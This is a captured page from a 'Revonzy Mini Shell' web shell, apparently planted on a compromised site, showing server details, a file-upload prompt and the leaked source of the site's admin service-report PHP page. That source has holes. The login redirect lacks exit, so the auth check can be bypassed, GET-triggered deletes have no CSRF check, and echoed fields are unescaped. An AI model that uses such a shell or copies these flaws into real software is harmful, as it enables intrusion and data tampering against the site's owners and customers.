Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/kitchenfoodrecipes.com/disha/disha-foundation/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/kitchenfoodrecipes.com/disha/disha-foundation/service-report.php

<?php
	require_once("lib/function.php");
	$db = new login_function();

	$flag 			= 0;
	$success_msg 	= 0;

	if(!isset($_SESSION['current_login_admin']))
	{
		header("Location:index.php");
	}
	if(isset($_SESSION['current_login_admin']))
	{
		$email	=	$_SESSION['current_login_admin'];
	}

	$flag = 0;
	$contact_no_error="";
	$success_msg=0;
	$succ_msg=0;
	$succe_msg=0;
	$suc_msg=0;
	if(!isset($_SESSION['current_login_admin']))
	{
		header("Location:/index.php");
	}
	if(isset($_SESSION['current_login_admin']))
	{
		$email	=	$_SESSION['current_login_admin'];
	}
	if(isset($_GET['delete_id']))
	{
		 $del_id	=	$_GET['delete_id'];
		 $db->delete_service_info($del_id);
		 $success_msg	=	1;
	}
	if(isset($_GET['app_id']))
	{
		 $app_id	=	$_GET['app_id'];
		 $db->approve_service_status($app_id);
		 $suc_msg	=	1;
	}
	if(isset($_GET['pend_id']))
	{
		 $pend_id	=	$_GET['pend_id'];
		 $db->pending_service_status($pend_id);
		 $succ_msg	=	2;
	}
	if(isset($_GET['cancel_id']))
	{
		 $cancel_id	=	$_GET['cancel_id'];
		 $db->cancel_service_status($cancel_id);
		  $db->cancel_service_status_in_payment($cancel_id);
		 $succe_msg	=	3;
	}
?>



<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width initial-scale=1.0">
    <title>Services List</title>
    <!-- GLOBAL MAINLY STYLES-->
    <link href="css/bootstrap.min.css" rel="stylesheet" />
    <link href="css/font-awesome.min.css" rel="stylesheet" />
    <link href="css/line-awesome.min.css" rel="stylesheet" />
    <link href="css/themify-icons.css" rel="stylesheet" />
    <link href="css/animate.min.css" rel="stylesheet" />
    <link href="css/toastr.min.css" rel="stylesheet" />
    <link href="css/bootstrap-select.min.css" rel="stylesheet" />
	<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css">

    <!-- PLUGINS STYLES-->
    <!-- THEME STYLES-->
    <link href="css/main.min.css" rel="stylesheet" />
	 <link href="datatable/datatables.min.css" rel="stylesheet" />
    <!-- PAGE LEVEL STYLES-->
<style>
.col-md-12
{
	width:100%;
	margin:auto;
	margin-top:20px;
}
table,th
{
	text-align:center;
	text-transform:uppercase;
}
table,td
{
	text-align:left;
	text-transform:uppercase;
}
@media only screen and (max-width: 600px) {
	.col-md-12
	{
		width:100%;
	}
	.alert
	{
		width:100%;
	}
	.side-row
	{
		width:49%;
		display:inline-table;
	}
}
.content-wrapper {
    position: relative;
    background-color: #f2f3fa;
    margin-left: 230px;
    padding: 0 15px 60px 15px;
    -webkit-transition: margin .2s ease-in-out;
    -o-transition: margin .2s ease-in-out;
    transition: margin .2s ease-in-out;
    min-height: 1400px;
}
.txt
{
	text-align:left;
	color:#232B99;
	font-size:12px;
	margin-right:10px;
	font-weight:bold;
	height:40px;
}
</style>

<link href="css/animate.css" rel="stylesheet" type="text/css" media="all">
<script src="js/wow.min.js"></script>
</head>
<body class="fixed-navbar">

<div class="page-wrapper">

<?php include('header.php'); ?>
<?php include('side-bar.php'); ?>

<div class="content-wrapper">
<div class="page-content fade-in-up">

 <?php
	if($success_msg == 1)
	{
	?>
	<script type="text/javascript">
		alert("Record Deleted Successfully");
		window.location="service-report.php";
	</script>
<?php
	}
	if($suc_msg == 1)
	{
	?>
	<script type="text/javascript">
		alert("Record Approved Successfully");
		window.location="service-report.php";
	</script>
<?php
	}
	if($suc_msg == 2)
	{
	?>
	<script type="text/javascript">
		alert("Record Status Changed to Pending Successfully");
		window.location="service-report.php";
	</script>
<?php
	}
	if($suc_msg == 3)
	{
	?>
	<script type="text/javascript">
		alert("Cancelled Successfully");
		window.location="service-report.php";
	</script>
<?php
	}

?>

<div class="ibox" style="border-radius:5px; padding:7px;">

	<div class="ibox-head">
		<div class="ibox-title"><i class="fas fa-list" style="margin-right:10px;"></i>SERVICES REPORT</div>

	</div>

<div class="ibox-body" style="padding:7px; padding-top:0px;">

	<br />

	<div class="flexbox mb-4">
		<div class="input-group-icon input-group-icon-left mr-3">
			<span class="input-icon input-icon-right font-16"><i class="fas fa-search"></i></span>
			<input class="form-control form-control-rounded form-control-solid" id="key-search" type="text" placeholder="Search ...">
		</div>
	</div>

<div class="table-responsive row">
	<table class="table table-bordered table-hover" id="example" style="overflow-x:auto;overflow-y:auto;" cellpadding=0 cellspacing=0>
		<thead class="thead-default thead-lg">
			<tr>
			    <th>Sr</th>
				<th>Customer Id</th>
				<th>Customer Name</th>
				<th>Service Id</th>
				<th>Service Name</th>
				<th>Project Name</th>
				<th>Amount</th>
				<th>Description</th>
				<th>Expiry Date</th>
				<th>View Agreement</th>
				<th>Status</th>
				<th>Cancel</th>
				<th>Action</th>
				<th>Action</th>
            </tr>
		</thead>
		<tbody>
		<?php
			$total=0;
			$report_details = $db->get_all_service_information();
			if(!empty($report_details))
			{
				$counter =0;
				foreach($report_details as $record)
				{
					$id				=	$report_details[$counter][0];
					$name			=	$report_details[$counter][1];
					$services		=	$report_details[$counter][2];
					$p_name			=	$report_details[$counter][3];
					$amount			=	$report_details[$counter][4];
					$status			=	$report_details[$counter][5];
					$description	=	$report_details[$counter][6];
					$expiry_date	=	$report_details[$counter][7];

					$cust_name = $db->fetch_cust_name($name);
					$service = $db->fetch_service_name_by_id($services);
		?>
			<tr>
				 <td><?php echo $counter+1; ?></td>
				 <td><?php echo $name; ?></td>
				 <td><?php echo $cust_name; ?></td>
				 <td><?php echo $services; ?></td>
				 <td><?php echo $service; ?></td>
				 <td><?php echo $p_name; ?></td>
				 <td><?php echo $amount; ?></td>
				 <td><?php echo $description; ?></td>
				 <td><?php echo $expiry_date; ?></td>
				 <td><a href="agreement.php?insert_id=<?php echo $name; ?>" target="_blank" style="color:#329DF5;">View Agreement</a></td>
				 <td>
				<?php
				if($status == "don't show in company profile")
				{
				?>
				<span>C.S - don't show in company profile</span><br /><a href="service-report.php?app_id=<?php echo $id;?>" onclick="return confirm('Are you sure show in company profile?');" style="color:#F56A32;"> show in company profile</a>
				<?php
				}else
				{
				?>
				<span>C.S - show in company profile</span><br /><a href="service-report.php?pend_id=<?php echo $id;?>" onclick="return confirm('Are you sure not to show in company profile?');" style="color:green;"> don't show in company profile</a>

				<?php
				}
				?>
				</td>
				<td>
				<?php
					if($status != "cancel")
					{
				?>
					<a href="service-report.php?cancel_id=<?php echo $id;?>" onclick="return confirm('Are you sure to Cancel Service?');" style="color:red;">Cancel Service</a>
					<?php
					}else
					{
					?>
					<span>Services Cancelled...</span>
					<?php
					}
					?></td>
				<td><a href="update-service.php?update_id=<?php echo $id;?>"><i class="far fa-edit" style="color:blue;margin-left:20px;"></a></td>
				<td><a href="service-report.php?delete_id=<?php echo $id;?>" onclick="return confirm('Are you sure?');"><i class="fas fa-trash-alt"style="color:red; margin-left:20px;"></i></a></td>
			</tr>
			<?php
				$total = $total + $amount;
				$counter++;
				}
				?>
			<tr>
				<td></td>
				<td></td>
				<td></td>
				<td></td>
				<td></td>
				<td><b>Total - </b></td>
				<td><b><?php echo $total; ?></b></td>
				<td></td>
				<td></td>
				<td></td>
				<td></td>
				<td></td>
			<?php
			}else
			{
			?>
				<td> No Data Found....</td>
				<td></td>
				<td></td>
				<td></td>
				<td></td>
				<td></td>
				<td></td>
				<td></td>
				<td></td>
				<td></td>
				<td></td>
				<td></td>
			<?php
			}
			?>
		</tbody>
	</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>

	</div>
</div>

<!-- END SEARCH PANEL-->
<!-- BEGIN THEME CONFIG PANEL-->

<!-- END THEME CONFIG PANEL-->
<!-- BEGIN PAGA BACKDROPS-->
<div class="sidenav-backdrop backdrop"></div>
<div class="preloader-backdrop">
<div class="page-preloader">Loading</div>
</div>
<!-- END PAGA BACKDROPS-->
<!-- New question dialog-->


<!-- End New question dialog-->
<!-- QUICK SIDEBAR-->

<script src="js/jquery.min.js"></script>
<link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
<link rel="stylesheet" href="/resources/demos/style.css">
<script src="https://code.jquery.com/jquery-1.12.4.js"></script>
<script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>

<script>

$( function()  {
		$( "#from_date" ) .datepicker({ dateFormat: 'dd-mm-yy'   }) ;
		$( "#to_date" ) .datepicker({ dateFormat: 'dd-mm-yy'   }) ;

}  ) ;



</script>
<script src="js/popper.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/metisMenu.min.js"></script>
<script src="js/jquery.slimscroll.min.js"></script>
<script src="js/idle-timer.min.js"></script>
<script src="js/toastr.min.js"></script>
<script src="js/jquery.validate.min.js"></script>
<script src="js/bootstrap-select.min.js"></script>
<!-- PAGE LEVEL PLUGINS-->
<!-- CORE SCRIPTS-->
<script src="datatable/datatables.min.js"></script>
<script src="js/app.min.js"></script>
<script>
$(function() {
	$('#example').DataTable({
		pageLength: 5,
		fixedHeader: true,
		responsive: true,
		"sDom": 'rtip',
		columnDefs: [{
			targets: 'no-sort',
			orderable: false
		}]
	});

	var table = $('#example').DataTable();
	$('#key-search').on('keyup', function() {
		table.search(this.value).draw();
	});

});

</script>



    <!-- PAGE LEVEL SCRIPTS-->
</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4